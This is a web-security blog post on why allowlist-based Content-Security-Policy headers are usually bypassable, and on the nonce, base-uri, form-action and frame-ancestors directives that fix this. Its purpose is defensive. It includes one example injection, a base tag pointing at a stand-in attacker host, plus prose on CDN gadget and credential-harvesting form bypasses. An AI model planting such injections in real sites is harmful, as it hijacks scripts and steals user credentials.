← All posts
Web security

Your CSP probably does nothing

A Content-Security-Policy with an allowlist in it is usually bypassable, and the directives that stop the bypass are the ones nobody writes because nothing breaks when they are missing. What a policy actually has to contain, and why the good ones still get rolled back.

Here is a policy I have now read, with small variations, in more code reviews than I can count:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'unsafe-inline' https://www.googletagmanager.com https://cdn.jsdelivr.net;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;

It is four lines, it mentions a scheme, it names specific vendors, and it ships in a compliance pack as evidence that cross-site scripting has been addressed. It stops nothing. An attacker who can inject a single <script> tag into any page covered by that header gets their code executed, because 'unsafe-inline' is sitting right there permitting exactly the thing an HTML injection produces.

I do application security reviews, and CSP is the control where the gap between what a header looks like and what it does is widest. Nobody writes a firewall rule that permits everything and then files it as a firewall rule. People do this with CSP constantly, and the reason is that the header has no feedback: a policy that permits everything and a policy that is airtight look identical from the browser's side, right up until someone tests it.

What the header is actually for

A CSP is a browser-enforced allowlist. It tells the browser which origins a page may load scripts, styles, frames, fonts and images from, and which it may talk to. It is not a fix for an injection bug and it never was — it is the control that decides what an injection bug is worth. With no policy, an HTML injection is a stolen session. With a good one, it is a blocked console message and a violation report.

That makes it a second line, and second lines are worth having precisely because the first one fails. It also means a CSP that does not hold is worse than no CSP at all, because it is carried on the risk register as a mitigation.

The allowlist is the part that fails

In 2016 Lukas Weichselbaum and colleagues at Google crawled the policies on the public web and measured how many of them could be bypassed. The paper is *CSP Is Dead, Long Live CSP* (CCS 2016), and the number is 94.72%. Not 94.72% of sites had no policy — 94.72% of the policies that were actively trying to restrict script execution could be defeated.

Two mechanisms account for most of it, and neither is exotic.

The first is 'unsafe-inline', which is in a policy because removing it means finding every inline <script> and every onclick= in a codebase nobody has read end to end. It is the single token that converts the header into decoration.

The second is subtler and survives review much more often: the allowlist itself. Put https://cdn.jsdelivr.net in script-src and you have not allowlisted your library. You have allowlisted every file on a CDN that serves any package anyone has ever published, which includes the ones with a JSONP endpoint or an Angular build in them, and an attacker who can inject a tag just points it at one of those. The Google paper found this on Google's own domains. A CDN on your script allowlist will serve an attacker whatever they ask for; the allowlist is a list of hostnames and the attacker's payload is coming from one of those hostnames.

The same logic eats the entries people feel safest about. Allowlisting www.googletagmanager.com means anyone with publish rights in your GTM account can run arbitrary JavaScript on your site without touching your repository or your deploy pipeline. That is a real trust boundary, and it is usually drawn around a much larger group of people than the one with commit access.

What replaces it

A nonce. The server generates a random value per response, puts it in the header and on its own inline scripts, and the browser runs the ones that match. An injected tag cannot carry a value the attacker has not seen.

Content-Security-Policy:
  default-src 'self';
  script-src 'nonce-{random}' 'strict-dynamic' https: 'unsafe-inline';
  object-src 'none';
  base-uri 'none';

Three things about that shape are worth saying out loud, because each one confuses somebody every time.

'strict-dynamic' means the host allowlist is ignored entirely — only nonced scripts, and whatever those scripts go on to load, can execute. That is the point: it lets a trusted bundle load its own chunks without you maintaining a list of hostnames that an attacker can shop from. It also means any hosts left in that directive are dead code, and a list that does nothing still tells the next reader it does something.

The https: and 'unsafe-inline' at the end are deliberate fallbacks for older browsers, not mistakes. In any browser that understands CSP Level 2 or later, the presence of a nonce makes 'unsafe-inline' ignored outright. It is harmless there, and it is also the single token most likely to make a scanner or a reviewer call the policy weak when it is not — so if you keep it, write a comment saying why.

And a nonce is only as good as its randomness. Per response, from a CSPRNG. A nonce that is reused across responses, or derived from something an attacker can observe, is a long 'unsafe-inline'.

The directives nobody writes

This is the part I actually want to leave you with, because it is where careful teams still lose.

base-uri. An injected <base href="https://attacker.example/"> changes where every relative URL on the page resolves — including your own script tags. Those tags still carry your valid nonce, so the browser fetches them, happily, from the attacker's server. One tag defeats the entire nonce policy. The fix is base-uri 'none', it breaks essentially nothing, and its absence is the most common serious gap I find in policies that are otherwise well built.

form-action. Nothing in script-src governs where a form posts. An injected <form> can send credentials anywhere, so a strict nonce policy with no form-action still permits an attacker to render a login form on your real domain and collect what is typed into it.

frame-ancestors. This is the clickjacking control and the modern replacement for X-Frame-Options. It does not fall back to default-src — absent means unrestricted, no matter how tight the rest of the policy is.

object-src 'none'. <object> and <embed> can execute. Almost no site in 2026 needs plugin content, which makes this close to free.

The common thread: none of these break anything when they are missing. There is no error, no blank frame, no failing test. They are absent in production for exactly the same reason they are easy to add.

One more, if you deliver your policy through a <meta> tag because you cannot set headers: frame-ancestors, report-uri, report-to and sandbox are ignored there completely. Not degraded — ignored. If your clickjacking control lives in a meta tag, you do not have a clickjacking control.

Why the good policies get rolled back anyway

Every policy I have described so far can be correct and still not survive contact with production, and it is worth being honest about why. CSPs are not usually reverted because they were wrong about security. They are reverted because something broke on a Friday and nobody could say what.

The breakages share a shape: they are silent.

  • Google Fonts is two origins. The stylesheet comes from fonts.googleapis.com and the font files it references come from fonts.gstatic.com. Allow only the first and the CSS loads fine, the @font-face rules parse fine, and every font file is blocked — so the page renders in the fallback and looks approximately right. This one ships to production constantly.
  • GA4 sends its hits with fetch() and sendBeacon(), which are governed by connect-src, not script-src. Get that wrong and the tag loads, the page works, and the reports stay empty. Usually discovered weeks later by someone in marketing.
  • Tag Manager custom HTML tags are injected as inline scripts at runtime and will not carry your nonce unless the container is nonce-aware. The container loads; the tags inside it do nothing.
  • A payment iframe renders blank because frame-src was never considered, and a blank iframe throws no error a user can report.

This is why the only safe rollout order is report-only first. Ship Content-Security-Policy-Report-Only beside your real traffic, with a reporting endpoint actually configured — a report-only header with nowhere to report enforces nothing and records nothing, which is a header doing no work at all. Collect a week of violations from browsers you do not own and locales you did not test, fix what shows up, and only then switch to the enforcing header. Deploying the enforcing header first is how a CSP becomes an incident, and an incident is how a CSP becomes a line in a postmortem that says "we tried this."

What to do with this

If you have a policy already, paste it into the CSP Builder and read what it says the policy actually permits, directive by directive — including the directives you did not write, because an absent directive either falls back to default-src or is unrestricted, and which one it is changes the answer completely. If you are starting from nothing, the build mode asks what your site really loads and names what each answer will break before you ship it.

Both modes run entirely in your browser. Nothing is uploaded, and the tool never fetches a URL you type, so it does not reach out to your site or learn what you are protecting.

The honest limit, which I would rather state than have you discover: this is a reading of the policy text, not of your site. It cannot see a javascript: URL in your markup, a JSONP endpoint on a host you have allowlisted, or a script your tag manager injects at runtime. A clean result means the policy is coherent, not that it holds. The report-only run is what checks that.

And if the application behind the policy is an LLM app, the injection you are defending against may not arrive as markup at all — that is the lethal trifecta, and a CSP does not reach it.

Web security